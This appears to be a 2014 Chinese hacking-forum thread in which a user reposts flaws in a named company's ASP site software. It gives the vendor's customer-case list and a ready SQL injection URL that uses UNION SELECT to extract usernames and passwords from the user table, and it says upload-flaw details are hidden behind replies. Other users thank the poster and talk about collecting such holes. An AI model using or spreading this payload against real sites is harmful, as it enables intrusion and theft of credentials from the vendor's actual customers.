发小洞一枚，我是搬运工

gty48 · 发表于 2014-6-16 12:28:24

原作者：傻傻的xj

扬州北斗科技有限公司所写的asp程序存在上传文件漏洞+注入.

官方网:http://www.www7.cn/ 客户案例:http://www.www7.cn/case/

注入:/NewsDetail.asp?id=22 UNION SELECT 1,2,3,user,Psw,6,7,8,9,10,11,12,13 from user

搜索关键字

游客，如果您要查看本帖隐藏内容请回复

上传

游客，如果您要查看本帖隐藏内容请回复

ps
谁要silic邀请啊?

vivi · 发表于 2014-6-16 12:46:57

这个很早之前都有人提交给wooyun了。

vivi · 发表于 2014-6-16 12:48:04

可惜乌云一直没反映，可能是因为小厂商的原因吧。

90_ · 发表于 2014-6-16 13:36:01

连图片都是外链进来的，真够懒的

蓝色_ · 发表于 2014-6-16 15:44:50

感谢分享！

灰色 · 发表于 2014-6-16 16:05:47

提示: 作者被禁止或删除内容自动屏蔽

Petrel · 发表于 2014-6-16 16:13:40

习科的哦有点坑
出现logo了

zhoujian017 · 发表于 2014-6-16 17:08:35

我来看看啊

Alt93 · 发表于 2014-6-16 17:20:26

收洞收洞。。

910825655 · 发表于 2014-6-16 17:32:38

提示: 作者被禁止或删除内容自动屏蔽

910825655 910825655 当前离线积分 64 头像被屏蔽该用户从未签到	发表于 2014-6-16 17:32:38 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
910825655 910825655 当前离线积分 64 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

发小洞一枚，我是搬运工

评分

相关帖子

指导单位

旗下站点

联系我们